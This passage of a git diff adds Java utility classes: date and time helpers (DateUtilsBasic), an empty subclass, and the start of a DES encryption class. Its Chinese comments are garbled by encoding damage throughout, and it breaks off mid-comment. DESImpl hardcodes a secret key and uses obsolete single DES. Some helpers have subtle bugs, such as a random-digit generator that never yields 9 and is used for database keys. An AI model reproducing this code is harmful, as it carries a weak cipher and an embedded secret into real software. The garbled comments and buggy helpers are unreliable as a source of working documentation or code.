calendar.getTime(); + } + + /** + * 得到现在的时间字符串. + * @return String + * æ—¶é—´å­—ç¬¦ä¸²æ ¼å¼ yyyyMMdd HHmmss + */ + public static String getStringToday() { + Date currentTime = new Date(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyyMMdd HHmmss"); + String dateString = formatter.format(currentTime); + return dateString; + } + + /** + * 得到现在å°æ—¶.如当å‰æ—¶é—´ä¸º 14:45:55,则返回 14 + * @return String + * 当å‰æ—¶é—´çš„å°æ—¶æ•° + */ + public static String getHour() { + Date currentTime = new Date(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String dateString = formatter.format(currentTime); + String hour; + hour = dateString.substring(11, 13); + return hour; + } + + /** + * 得到现在分钟..如当å‰æ—¶é—´ä¸º 14:45:55,则返回 45 + * @return String + * 在00到59之间 + */ + public static String getMinute() { + Date currentTime = new Date(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String dateString = formatter.format(currentTime); + String min; + min = dateString.substring(14, 16); + return min; + } + + /** + * 得到现在的秒数.如当å‰æ—¶é—´ä¸º 14:45:55,则返回 55 + * @return String + * 在00到59之间 + */ + public static String getSecond() { + Date currentTime = new Date(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String dateString = formatter.format(currentTime); + String min; + min = dateString.substring(17, 19); + return min; + } + + /** + * æ ¹æ®ç”¨æˆ·ä¼ å…¥çš„时间表示格å¼ï¼Œè¿”回当å‰æ—¶é—´çš„æ ¼å¼ å¦‚æžœæ˜¯yyyyMMdd,注æ„å­—æ¯yä¸èƒ½å¤§å†™ã€‚. + * @param sformat + * 时间格å¼ï¼Œè‹¥ä¸ºç©ºï¼Œåˆ™é»˜è®¤ä¸º yyyyMMddhhmmss + * @return String + * 按指定格å¼è¿”回的当å‰æ—¶é—´çš„æ ¼å¼ + */ + public static String getUserDate(String sformat) { + if (sformat == null) { + sformat = "yyyyMMddhhmmss"; + } + Date currentTime = new Date(); + SimpleDateFormat formatter = new SimpleDateFormat(sformat); + String dateString = formatter.format(currentTime); + return dateString; + } + + /** + * 建议修改方法å 两个å°æ—¶æ—¶é—´é—´çš„差值,å¿…é¡»ä¿è¯ä¸¤ä¸ªæ—¶é—´éƒ½æ˜¯"HH:MM"çš„æ ¼å¼ï¼Œè¿”回字符串型的å°æ—¶. + * @param st1 + * 时间字符串1 + * @param st2 + * 时间字符串2 + * @return String + * 如果 st1 表示的å°æ—¶æ•°å°äºŽæˆ–者等于 st2 表示的å°æ—¶æ•°ï¼Œè¿”回0,å¦åˆ™è¿”回 st1 å’Œ st2 表示的å°æ—¶é—´çš„差值 + */ + public static String getTwoHour(String st1, String st2) { + String[] kk = null; + String[] jj = null; + kk = st1.split(":"); + jj = st2.split(":"); + if (Integer.parseInt(kk[0]) < Integer.parseInt(jj[0])) { + return "0"; + } else { + double y = Double.parseDouble(kk[0]) + Double.parseDouble(kk[1]) / 60; + double u = Double.parseDouble(jj[0]) + Double.parseDouble(jj[1]) / 60; + if ((y - u) > 0) { + return y - u + ""; + } else { + return "0"; + } + } + } + + /** + * 得到两个日期间的间隔天数. + * @param sj1 + * 日期字符串1 + * @param sj2 + * 日期字符串2 + * @return String + * 两个日期间的间隔天数。如果解æžå­—符串时å‘生异常,返回空串"" + */ + public static String getTwoDay(String sj1, String sj2) { + SimpleDateFormat myFormatter = new SimpleDateFormat("yyyy-MM-dd"); + long day = 0; + try { + java.util.Date date = myFormatter.parse(sj1); + java.util.Date mydate = myFormatter.parse(sj2); + day = (date.getTime() - mydate.getTime()) / (24 * 60 * 60 * 1000); + return day + ""; + } catch (Exception e) { + if (Constants.DEBUG) { + e.printStackTrace(); + } + return ""; + } + + } + + /** + * 时间å‰æŽ¨æˆ–åŽæŽ¨ minute 分钟. + * @param strdate + * 时间字符串 + * @param minute + * å‰æŽ¨æˆ–åŽæŽ¨çš„分钟数 + * @return String + * 如果 strdate ä¸èƒ½æˆåŠŸçš„转æ¢æˆ Date,或 minute ä¸èƒ½æˆåŠŸçš„转æ¢ä¸º Integer, 返回空串"" + */ + public static String getPreTime(String strdate, String minute) { + SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String mydate1 = ""; + try { + Date date1 = format.parse(strdate); + long longTime = (date1.getTime() / 1000) + Integer.parseInt(minute) * 60; + date1.setTime(longTime * 1000); + mydate1 = format.format(date1); + return mydate1; + } catch (Exception e) { + if (Constants.DEBUG) { + e.printStackTrace(); + } + return ""; + } + + } + + /** + * 得到一个时间延åŽæˆ–å‰ç§»å‡ å¤©çš„时间 + * @param nowdate + * 时间字符串 + * @param delay + * å‰ç§»æˆ–åŽå»¶çš„天数. + * @return String + * nowdate 延åŽæˆ–å‰ç§» delay 天的时间。如果解æžå­—符串时å‘生异常,返回空串"" + */ + public static String getNextDay(String nowdate, String delay) { + try { + SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd"); + String mdate = ""; + Date d = strToDate(nowdate); + long myTime = (d.getTime() / 1000) + Integer.parseInt(delay) * 24 * 60 * 60; + d.setTime(myTime * 1000); + mdate = format.format(d); + return mdate; + } catch (Exception e) { + return ""; + } + } + + /** + * 判断是å¦æ¶¦å¹´. + * @param ddate + * 时间字符串, “yyyy-MM-ddâ€ æ ¼å¼ + * @return boolean
    + * true: ddate 表示的年份是闰年; + * false: ddate 表示的年份ä¸æ˜¯é—°å¹´ï¼› + */ + public static boolean isLeapYear(String ddate) { + + /** + * 详细设计: 1.被400整除是闰年, 2ä¸èƒ½è¢«400整除,能被100整除ä¸æ˜¯é—°å¹´ 3.ä¸èƒ½è¢«100整除,能被4整除则是闰年 4.ä¸èƒ½è¢«4整除ä¸æ˜¯é—°å¹´ + */ + Date d = strToDate(ddate); + GregorianCalendar gc = (GregorianCalendar) Calendar.getInstance(); + gc.setTime(d); + int year = gc.get(Calendar.YEAR); + if ((year % 400) == 0) { + return true; + } else if (year % 100 == 0) { + return false; + } else { + return ((year % 4) == 0); + } + } + + /** + * è¿”å›žç¾Žå›½æ—¶é—´æ ¼å¼ 26 Apr 2006. + * @param str + * 时间字符串 + * @return String + * 如果传入的字符串为 2011-06-23,则返回 23JUN11 + */ + public static String getEDate(String str) { + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd"); + ParsePosition pos = new ParsePosition(0); + Date strtodate = formatter.parse(str, pos); + String j = strtodate.toString(); + String[] k = j.split(" "); + return k[2] + k[1].toUpperCase() + k[5].substring(2, 4); + } + + /** + * 获å–一个月的最åŽä¸€å¤©(该类中的 getMonthEnd å’Œ getLastDayOfMonth 也是åŒæ ·çš„æ„义). + * @param dat + * 时间字符串,格å¼ä¸º yyyy-MM-dd + * @return String + * dat 所表示的月份的最åŽä¸€å¤©ï¼Œå¦‚ dat="2011-05-04",则返回 "2011-05-31" + * @see DateUtilsBasic#getMonthEnd(String) + * @see DateUtilsBasic#getLastDayOfMonth(String) + */ + public static String getEndDateOfMonth(String dat) { + String str = dat.substring(0, 8); + String month = dat.substring(5, 7); + int mon = Integer.parseInt(month); + if (mon == 1 || mon == 3 || mon == 5 || mon == 7 || mon == 8 || mon == 10 || mon == 12) { + str += "31"; + } else if (mon == 4 || mon == 6 || mon == 9 || mon == 11) { + str += "30"; + } else { + if (isLeapYear(dat)) { + str += "29"; + } else { + str += "28"; + } + } + return str; + } + + /** + * 判断两个日期是å¦åœ¨åŒä¸€ä¸ªå‘¨. + * @param date1 + * 日期1 + * @param date2 + * 日期2 + * @return boolean
    + * true: 两个日期在åŒä¸€å‘¨;false: 两个日期ä¸åœ¨åŒä¸€å‘¨;
    + * 注:星期天是一周的第一天,星期六是一周的最åŽä¸€å¤©. + */ + public static boolean isSameWeekDates(Date date1, Date date2) { + Calendar cal1 = Calendar.getInstance(); + Calendar cal2 = Calendar.getInstance(); + cal1.setTime(date1); + cal2.setTime(date2); + int subYear = cal1.get(Calendar.YEAR) - cal2.get(Calendar.YEAR); + if (0 == subYear) { + if (cal1.get(Calendar.WEEK_OF_YEAR) == cal2.get(Calendar.WEEK_OF_YEAR)) { + return true; + } + } else if (1 == subYear && 11 == cal2.get(Calendar.MONTH)) { + // 如果12月的最åŽä¸€å‘¨æ¨ªè·¨æ¥å¹´ç¬¬ä¸€å‘¨çš„è¯åˆ™æœ€åŽä¸€å‘¨å³ç®—åšæ¥å¹´çš„第一周 + if (cal1.get(Calendar.WEEK_OF_YEAR) == cal2.get(Calendar.WEEK_OF_YEAR)) { + return true; + } + } else if (-1 == subYear && 11 == cal1.get(Calendar.MONTH)) { + if (cal1.get(Calendar.WEEK_OF_YEAR) == cal2.get(Calendar.WEEK_OF_YEAR)) { + return true; + } + } + return false; + } + + /** + * 产生周åºåˆ—,å³å¾—到当å‰æ—¶é—´æ‰€åœ¨çš„年度是第几周. + * @return String + * æ ¼å¼ä¸ºï¼šå¹´ä»½ + 周的åºå· + */ + public static String getSeqWeek() { + Calendar c = Calendar.getInstance(Locale.CHINA); + String week = Integer.toString(c.get(Calendar.WEEK_OF_YEAR)); + if (week.length() == 1) { + week = "0" + week; + } + String year = Integer.toString(c.get(Calendar.YEAR)); + return year + week; + } + + /** + * 建议修改方法å 获得一个日期所在的周的星期几的日期,如è¦æ‰¾å‡º2002å¹´2月3日所在周的星期一是几å·. + * @param sdate + * 日期字符串 + * @param num + * å–"0"到“6â€ä¹‹é—´çš„字符串,"0"代表星期天,星期天是一周的第一天 + * @return String + * 以 yyyy-MM-dd 模å¼ï¼Œ 如果 sdate ä¸èƒ½æˆåŠŸçš„转æ¢ä¸º Date 或 num ä¸åœ¨"0"到"6"之间,返回空串"" + */ + public static String getWeek(String sdate, String num) { + //先转æ¢ä¸ºæ—¶é—´ + Date dd = DateUtilsBasic.strToDate(sdate); + if (dd == null) { + return ""; + } + Calendar c = Calendar.getInstance(); + c.setTime(dd); + if (num.equals("1")) { + c.set(Calendar.DAY_OF_WEEK, Calendar.MONDAY); + } else if (num.equals("2")) { + c.set(Calendar.DAY_OF_WEEK, Calendar.TUESDAY); + } else if (num.equals("3")) { + c.set(Calendar.DAY_OF_WEEK, Calendar.WEDNESDAY); + } else if (num.equals("4")) { + c.set(Calendar.DAY_OF_WEEK, Calendar.THURSDAY); + } else if (num.equals("5")) { + c.set(Calendar.DAY_OF_WEEK, Calendar.FRIDAY); + } else if (num.equals("6")) { + c.set(Calendar.DAY_OF_WEEK, Calendar.SATURDAY); + } else if (num.equals("0")) { + c.set(Calendar.DAY_OF_WEEK, Calendar.SUNDAY); + } else { + return ""; + } + return new SimpleDateFormat("yyyy-MM-dd").format(c.getTime()); + } + + /** + * 返回日期所处的星期. + * @param sdate + * 日期字符串 + * @return String + * 完整的英语星期(Sundayã€Mondayã€Tuesdayã€Wednesdayã€Thursdayã€Friday å’Œ Saturday),如果 sdate ä¸èƒ½è½¬æ¢ä¸º Date,返回空串""。 + */ + public static String getWeek(String sdate) { + // 先转æ¢ä¸ºæ—¶é—´ + Date date = DateUtilsBasic.strToDate(sdate); + if (date == null) { + return ""; + } + Calendar c = Calendar.getInstance(); + c.setTime(date); + return new SimpleDateFormat("EEEE").format(c.getTime()); + } + + /** + * 返回日期所代表的星期. + * @param sdate + * 日期字符串 + * @return String + * 完整的中文星期("星期日"ã€"星期一"ã€"星期二"ã€"星期三"ã€"星期四"ã€"星期五" å’Œ "星期六"),如果sdateä¸èƒ½æˆåŠŸçš„转æ¢ä¸ºDate,返回空串"" + */ + public static String getWeekStr(String sdate) { + String result = ""; + Date date = strToDate(sdate); + if (date == null) { + return result; + } + Calendar c = Calendar.getInstance(); + c.setTime(date); + + int day = c.get(Calendar.DAY_OF_WEEK); + switch (day) { + case Calendar.SUNDAY: + return "星期日"; + case Calendar.MONDAY: + return "星期一"; + case Calendar.TUESDAY: + return "星期二"; + case Calendar.WEDNESDAY: + return "星期三"; + case Calendar.THURSDAY: + return "星期四"; + case Calendar.FRIDAY: + return "星期五"; + case Calendar.SATURDAY: + return "星期六"; + default: + break; + } + return ""; + + } + + /** + * 两个日期之间的天数. + * @param end + * 日期字符串1,以 yyyy-MM-dd æ ¼å¼ + * @param begin + * 日期字符串2,以 yyyy-MM-dd æ ¼å¼ + * @param defaultValue + * 解æžè¿‡ç¨‹ä¸­å‘生异常所返回的值 + * @return long + * 返回 begin å’Œ end 所表示的日期之间的天数;如果 end,begin ä¸èƒ½æˆåŠŸçš„转æ¢æˆ Date,返回 defaultValue + */ + public static long getDays(String end, String begin, long defaultValue) { + SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd"); + java.util.Date endDate = null; + java.util.Date beginDate = null; + try { + endDate = format.parse(end); + beginDate = format.parse(begin); + long day = (endDate.getTime() - beginDate.getTime()) / (24 * 60 * 60 * 1000); + return day + 1; + } catch (Exception e) { + if (Constants.DEBUG) { + e.printStackTrace(); + } + return defaultValue; + } + + } + + /** + * 该方法返回 sdate 所表示日期所在月份的第一天所属星期的星期日(星期日是一周的第一天)的日期,如 sdate="2011-04-15",则返回"2011-03-27". + * @param sdate + * 日期字符串 + * @return String + * 以 yyyy-MM-dd æ ¼å¼ï¼Œå¦‚æžœsdateä¸èƒ½æˆåŠŸçš„转æ¢ä¸ºDate,返回空串"" + */ + public static String getNowMonth(String sdate) { +// 该方法返回sdate所表示日期所在月的第一天,所属星期的星期日(星期日是一周的第一天); å½¢æˆå¦‚下的日历, +// æ ¹æ®ä¼ å…¥çš„一个时间返回一个结构 星期日 星期一 星期二 星期三 星期四 星期五 +// 星期六 下é¢æ˜¯å½“月的å„个时间 此函数返回该日历第一行星期日所在的日期. + // å–è¯¥æ—¶é—´æ‰€åœ¨æœˆçš„ä¸€å· + String monthBegin = getMonthBegin(sdate); + String weekBegin = getWeek(monthBegin, "0"); + return weekBegin; + } + + /** + * å–å¾—æ•°æ®åº“主键 生æˆæ ¼å¼ä¸º yyyymmddhhmmss+k ä½éšæœºæ•°. + * @param k + * 表示是å–几ä½éšæœºæ•°ï¼Œå¯ä»¥è‡ªå·±å®š + * @return String + * éšæœºæ•° + */ + + public static String getNo(int k) { + return getUserDate("yyyyMMddhhmmss") + getRandom(k); + } + + /** + * 返回一个éšæœºæ•°. + * @param i + * éšæœºæ•°çš„ä½æ•° + * @return String + * éšæœºæ•° + */ + public static String getRandom(int i) { + Random jjj = new Random(); + if (i == 0) { + return ""; + } + String jj = ""; + for (int k = 0; k < i; k++) { + jj = jj + jjj.nextInt(9); + } + return jj; + } + + /** + * 判断 date 是å¦å¯ä»¥æˆåŠŸè½¬æ¢ä¸ºæ—¥æœŸ. + * @param date + * 日期字符串 + * @return boolean + * true: date å¯ä»¥è½¬æ¢ä¸ºæ—¥æœŸï¼Œfalse: date ä¸å¯ä»¥è½¬æ¢ä¸ºæ—¥æœŸ + */ + public static boolean rightDate(String date) { + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + if (date == null) { + return false; + } + if (date.length() > 10) { + sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + } else { + sdf = new SimpleDateFormat("yyyy-MM-dd"); + } + try { + sdf.parse(date); + } catch (Exception e) { + if (Constants.DEBUG) { + e.printStackTrace(); + } + return false; + } + return true; + } + + /** + * 判断 datestr 所表示的日期是å¦æ˜¯å‘¨æœ«. + * @param datestr + * 日期字符串 + * @return boolean + * true: datestr 所表示的日期是周末;false: datestr 所表示的日期ä¸æ˜¯å‘¨æœ« + */ + public static boolean isWeekend(String datestr) { + if (datestr == null || "".equals(datestr.trim())) { + return false; + } + SimpleDateFormat myFormatter = new SimpleDateFormat("yyyy-MM-dd"); + try { + Date date = myFormatter.parse(datestr); + Calendar calendar = new GregorianCalendar(); + calendar.setTime(date); + if (calendar.get(Calendar.DAY_OF_WEEK) == Calendar.SATURDAY + || calendar.get(Calendar.DAY_OF_WEEK) == Calendar.SUNDAY) { + return true; + } + } catch (ParseException e) { + return false; + } + return false; + } + + /** + * 返回两个日期间的天数,去除周末的天数. + * @param startdate + * å¼€å§‹æ—¥æœŸï¼Œæ ¼å¼ â€œyyyy-MM-dd†+ * @param enddate + * 结æŸæ—¥æœŸï¼Œæ ¼å¼ “yyyy-MM-dd†+ * @return int + * 两个日期间去除周末的天数,如果 startdate å’Œ enddate 其中有一个是空或者解æžè¿‡ç¨‹ä¸­å‘生异常,返回 0 + */ + public static int getdaysslice(String startdate, String enddate) { + if (startdate == null || "".equals(startdate.trim())) { + return 0; + } + if (enddate == null || "".equals(enddate.trim())) { + return 0; + } + SimpleDateFormat myFormatter = new SimpleDateFormat("yyyy-MM-dd"); + java.util.Date start = null; + java.util.Date end = null; + try { + start = myFormatter.parse(startdate); + end = myFormatter.parse(enddate); + } catch (Exception e) { + if (Constants.DEBUG) { + e.printStackTrace(); + } + return 0; + } + long daynum = (end.getTime() - start.getTime()) / (24 * 60 * 60 * 1000); + Calendar startcalendar = new GregorianCalendar(); + startcalendar.setTime(start); + int n = 0; + for (int i = 0; i <= daynum; i++) { + if (startcalendar.get(Calendar.DAY_OF_WEEK) == Calendar.SATURDAY + || startcalendar.get(Calendar.DAY_OF_WEEK) == Calendar.SUNDAY) { + startcalendar.add(Calendar.DAY_OF_MONTH, 1); + continue; + } + startcalendar.add(Calendar.DAY_OF_MONTH, 1); + n++; + } + return n; + } + + /** + * 返回按给定连接符的日期字符串. + * @param date + * 需è¦è½¬æ¢çš„å­—ç¬¦ä¸²ï¼Œå‰ 8 ä½éœ€ä»¥ yyyyMMdd æ ¼å¼ï¼Œseparator 日期格å¼ä¸­è¿žæŽ¥çš„字符 例如:20071227——>2007-12-27 + * @param separator + * 连接符 + * @return String + * 按给定连接符连接的日期字符串。如果 date 或者 separator 为空,返回date;如果 date 的长度å°äºŽ8ä½ï¼Œè¿”回 dateï¼› + * 如果 date 的长度大于或等于8ä½ï¼Œä½†å…¶5ã€6ä½ä¸åœ¨ 01~12 范围内或者7ã€8ä½ä¸åœ¨ 01~31范围内,则åŒæ ·è¿”回 dateï¼› + * 例如 date="1234567"||"12341301"||"12340132"时,直接将 date 返回 + */ + public static String formatToYYYYMMDD(String date, String separator) { + if (null == date || "".equals(date) || null == separator || "".equals(separator)) { + return date; + } + StringBuffer sb = new StringBuffer(); + String reg = "[0-9]{4}(01|02|03|04|05|06|07|08|09|10|11|12){1}(01|02|03|04|05|06|07|08|09|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31){1}"; + + Pattern p = Pattern.compile(reg); + Matcher m = p.matcher(date); + int offset = 0; + while (m.find(offset)) { + int sIndex = m.start(); + int eIndex = m.end(); + + String tmpPrefix = date.substring(offset, sIndex); + sb.append(tmpPrefix); + + String tmpDate = date.substring(sIndex, eIndex); + + String tmpYYYY = tmpDate.substring(0, 4); + String tmpMM = tmpDate.substring(4, 6); + String tmpDD = tmpDate.substring(6, 8); + + sb.append(tmpYYYY); + sb.append(separator); + sb.append(tmpMM); + sb.append(separator); + sb.append(tmpDD); + offset = m.end(); + } + + String tmpSuffix = date.substring(offset, date.length()); + sb.append(tmpSuffix); + return sb.toString(); + } + + /** + * 判断 day 是å¦åœ¨ curTime 之åŽï¼Œä¸”ä¸è¶…过一天. + * @param curTime + * 时间毫秒数 + * @param day + * 时间毫秒数 + * @return boolean + * 如果 day 在 curTime 之åŽï¼Œä¸”ä¸è¶…过一天,返回true. + */ + public static boolean inThisDay(long curTime, long day) { + if (curTime >= day && curTime < day + 24 * 60 * 60 * 1000) { + return true; + } + return false; + } + + /** + * 将当å‰æ—¥æœŸè½¬æ¢ä¸º format æ ¼å¼çš„字符串. + * @param format + * æ—¥æœŸæ ¼å¼ + * @return String + * format æ ¼å¼çš„当å‰æ—¥æœŸå­—符串 + */ + public static String getCurrentDateFormated(String format) { + Date date = new Date(); + return changedDateFormat(date, format); + } + + /** + * 将日期 date 转æ¢ä¸º format æ ¼å¼çš„字符串. + * @param date + * 日期 + * @param format + * æ—¥æœŸæ ¼å¼ + * @return String + * format æ ¼å¼çš„日期字符串 + */ + public static String changedDateFormat(Date date, String format) { + try { + if (date == null) { + return ""; + } + SimpleDateFormat formatter = new SimpleDateFormat(format); + String dateString = formatter.format(date); + return dateString; + } catch (Exception e) { + if (Constants.DEBUG) { + e.printStackTrace(); + } + return ""; + } + } + + /** + * 获å–从 start 到 end 的时间范围内æ¯é—´éš” pitch 分钟的时间字符串集åˆ. + * 如 getTimeList("2011-05-04 13:00:00", "2011-05-04 13:30:00", 5, "yyyy-MM-dd hh:mm:ss"), + * 则返回的 List 中存放的元素为:2011-05-04 01:00:00, 2011-05-04 01:05:00, 2011-05-04 01:10:00, + * 2011-05-04 01:15:00, 2011-05-04 01:20:00, 2011-05-04 01:25:00, 2011-05-04 01:30:00。 + * 注æ„å°æ—¶çš„范围为 01~12 + * @param start + * 开始时间 + * @param end + * 结æŸæ—¶é—´ + * @param pitch + * 分钟间隔 + * @param format + * æ—¶é—´æ ¼å¼ + * @return List<String> + * 从 start 到 end 的时间范围内æ¯é—´éš” pitch 分钟的时间字符串集åˆ.如果 start 与 end 所表示的时间相åŒï¼Œåˆ™ List 中åªæœ‰ start 一个元素 + * 如果解æžè¿‡ç¨‹ä¸­å‡ºçŽ°å¼‚常,则 List 中无元素,size=0; + */ + public static List getTimeList(String start, String end, int pitch, String format) { + List result = new ArrayList(); + SimpleDateFormat formatter = new SimpleDateFormat(format); + try { + Date startDate = formatter.parse(start); + Date endDate = formatter.parse(end); + Calendar startCalendar = Calendar.getInstance(); + Calendar endCalendar = Calendar.getInstance(); + startCalendar.setTime(startDate); + endCalendar.setTime(endDate); + + while (startCalendar.before(endCalendar)) { + result.add(formatter.format(startCalendar.getTime())); + startCalendar.add(Calendar.MINUTE, pitch); + } + if (startCalendar.equals(endCalendar)) { + result.add(formatter.format(startCalendar.getTime())); + } + } catch (ParseException e) { + e.printStackTrace(); + } + return result; + } + + /** + * 获å–从 start 到 end 的时间范围内æ¯é—´éš” pitch 分钟的时间字符串集åˆ. + * 如 getTimeList("01:00", "01:30", 5), + * 则返回的 List 中存放的元素为:01:00, 01:05, 01:10, 01:15, 01:20, 01:25。 + * 注æ„å°æ—¶çš„范围为 00~23 + * @param start + * 开始时间,格å¼ä¸º HH:mm + * @param end + * 结æŸæ—¶é—´ï¼Œæ ¼å¼ä¸º HH:mm + * @param pitch + * 分钟间隔 + * @return List<String> + * 从 start 到 end 的时间范围内æ¯é—´éš” pitch 分钟的时间字符串集åˆ.如果 start 与 end 所表示的时间相åŒæˆ–者解æžè¿‡ç¨‹ä¸­å‡ºçŽ°å¼‚常,则 List 中无元素,size=0; + */ + public static List getTimeList(String start, String end, int pitch) { + List result = new ArrayList(); + SimpleDateFormat formatter = new SimpleDateFormat("HH:mm"); + try { + Date startDate = formatter.parse(start); + Date endDate = formatter.parse(end); + Calendar startCalendar = Calendar.getInstance(); + Calendar endCalendar = Calendar.getInstance(); + startCalendar.setTime(startDate); + endCalendar.setTime(endDate); + + while (startCalendar.before(endCalendar)) { + result.add(formatter.format(startCalendar.getTime())); + startCalendar.add(Calendar.MINUTE, pitch); + } + } catch (ParseException e) { + e.printStackTrace(); + } + return result; + } + + /** + * èŽ·å– sdate 所表示的日期对应的星期的åºå·(1表示星期天,2表示星期一,以此类推). + * @param sdate + * 日期字符串 + * @return int + * 星期的åºå· + */ + public static int getWeekNumber(String sdate) { + Date date = strToDate(sdate); + Calendar c = Calendar.getInstance(); + c.setTime(date); + return c.get(Calendar.DAY_OF_WEEK); + } + + /** + * æ ¹æ®å‡ºç”Ÿæ—¥æœŸè®¡ç®—年龄. + * @param strBirthDay + * 出生日期字符串 + * @param format + * æ—¥æœŸæ ¼å¼ + * @return int + * 年龄 + * @throws Exception + * the exception + */ + public static int getAge(String strBirthDay, String format) throws Exception { + DateFormat df = new SimpleDateFormat(format); + Date birthDay = df.parse(strBirthDay); + return getAge(birthDay); + } + + /** + * å–日期字符串的å‰16ä½ï¼Œå³ yyyy-MM-dd hh:mm + * 例如:date="2010-01-20 13:38:10.0",返回 "2010-01-20 13:38" + * @param date + * 日期字符串 + * @return String + * date çš„å‰ 16 ä½å­—符串,如果 date çš„ä½æ•°å°äºŽ 16 ä½ï¼Œåˆ™è¿”回 date,如果 date 为空,返回空串"" + */ + public static String getDateHHMM(String date) { + if (date == null || "".equals(date.trim())) { + return ""; + } + if (date.length() >= 16) { + date = date.substring(0, 16); + } + return date; + } + + /** + * å–日期字符串的å‰10ä½ï¼Œå³ yyyy-MM-dd + * 例如:date="2010-01-20 13:38:10.0",返回 "2010-01-20" + * @param date + * 日期字符串 + * @return String + * date çš„å‰ 10 ä½å­—符串,如果 date çš„ä½æ•°å°äºŽ 10 ä½ï¼Œåˆ™è¿”回 date,如果 date 为空,返回空串"" + */ + public static String getDateYYMMDD(String date) { + if (date == null || "".equals(date.trim())) { + return ""; + } + if (date.length() >= 10) { + date = date.substring(0, 10); + } + return date; + } + + /** + * æ ¹æ®å‡ºç”Ÿæ—¥æœŸè®¡ç®—年龄. + * @param birthDay + * 出生日期 + * @return int + * 年龄. + * @throws Exception + * 如果出生日期在当å‰æ—¥æœŸä¹‹åŽï¼ŒæŠ›å‡ºå¼‚常 + */ + public static int getAge(Date birthDay) throws Exception { + Calendar cal = Calendar.getInstance(); + + if (cal.before(birthDay)) { + throw new IllegalArgumentException("The birthDay is before Now.It's unbelievable!"); + } + + int yearNow = cal.get(Calendar.YEAR); + int monthNow = cal.get(Calendar.MONTH); + int dayOfMonthNow = cal.get(Calendar.DAY_OF_MONTH); + cal.setTime(birthDay); + + int yearBirth = cal.get(Calendar.YEAR); + int monthBirth = cal.get(Calendar.MONTH); + int dayOfMonthBirth = cal.get(Calendar.DAY_OF_MONTH); + + int age = yearNow - yearBirth; + if (monthNow <= monthBirth) { + if (monthNow == monthBirth) { + if (dayOfMonthNow < dayOfMonthBirth) { + age--; + } + } else { + age--; + } + } + return age; + } + + /** + * 查看当å‰æ—¶é—´ä¸ŽæŒ‡å®šæ—¶é—´çš„差值是å¦æ˜¯é—´éš”æ—¶é—´æ®µçš„æ•´æ•°å€ + * @param dateStr + * 指定时间字符串 + * @param period + * 间隔时间段(天) + * @return boolean + * 是å¦ä¸ºæ•´æ•°å€ + */ + public static boolean isEqualPeriodDate(String dateStr, long period) { + if (StringUtilsBasic.checkNull(dateStr)) { + String format = "yyyy-MM-dd"; + String now = DateUtilsBasic.getCurDate(format); + dateStr = DateUtilsBasic.getDateYYMMDD(dateStr); + return DateUtilsBasic.getDays(now, dateStr, 0) % period == 0; + } + return false; + } +} diff --git a/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/date/DateUtilsConvert.java b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/date/DateUtilsConvert.java new file mode 100644 index 0000000..7eed580 --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/date/DateUtilsConvert.java @@ -0,0 +1,20 @@ +/** + * DateUtilsConvert.java + * + * Version information : + * + * Date:Jan 13, 2010 + * + * Copyright notice : + */ +package cn.org.tools.utils.date; + +/** + * 该类继承了 DateUtilsBasic,自己无任何属性或方法 + * @author Terry + * @version + * @since JDK1.6 + */ +public class DateUtilsConvert extends DateUtilsBasic { + +} diff --git a/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/encrypt/DESImpl.java b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/encrypt/DESImpl.java new file mode 100644 index 0000000..b2615fa --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/encrypt/DESImpl.java @@ -0,0 +1,167 @@ +/** + * DESImpl.java + * + * Version information : + * + * Date:Jan 13, 2010 + * + * Copyright notice : + */ +package cn.org.tools.utils.encrypt; + +import java.security.SecureRandom; + +import javax.crypto.Cipher; +import javax.crypto.SecretKey; +import javax.crypto.SecretKeyFactory; +import javax.crypto.spec.DESKeySpec; + +/** + * 使用 DES 标准对数æ®è¿›è¡ŒåŠ å¯†çš„工具类. + * @author Terry + * @version + * @since JDK1.6 + */ +public class DESImpl { + + /** + * 构造方法. + */ + protected DESImpl() { + throw new UnsupportedOperationException(); // prevents calls from subclass + } + + /** The Constant PASSWORD_CRYPT_KEY. */ + private static final String PASSWORD_CRYPT_KEY = "ty7hia89wesyr98sar9d8teg"; + + /** The Constant DES. */ + private static final String DES = "DES"; + + /** + * 加密. + * @param src + * æ•°æ®æº + * @param key + * 密钥,长度必须是8çš„å€æ•° + * @return byte[] + * 加密åŽçš„æ•°æ® + * @throws Exception + * the exception + */ + public static byte[] encrypt(byte[] src, byte[] key) throws Exception { + SecureRandom sr = new SecureRandom(); + DESKeySpec dks = new DESKeySpec(key); + SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(DES); + SecretKey securekey = keyFactory.generateSecret(dks); + Cipher cipher = Cipher.getInstance(DES); + cipher.init(Cipher.ENCRYPT_MODE, securekey, sr); + return cipher.doFinal(src); + } + + /** + * 解密. + * @param src + * æ•°æ®æº + * @param key + * 密钥,长度必须是8çš„å€æ•° + * @return byte[] + * 解密åŽçš„åŽŸå§‹æ•°æ® + * @throws Exception + * the exception + */ + public static byte[] decrypt(byte[] src, byte[] key) throws Exception { + SecureRandom sr = new SecureRandom(); + DESKeySpec dks = new DESKeySpec(key); + SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(DES); + SecretKey securekey = keyFactory.generateSecret(dks); + Cipher cipher = Cipher.getInstance(DES); + cipher.init(Cipher.DECRYPT_MODE, securekey, sr); + return cipher.doFinal(src); + } + + /** + * 密ç è§£å¯†. + * @param data + * æ•°æ® + * @return String + * 解密åŽçš„åŽŸå§‹æ•°æ® + 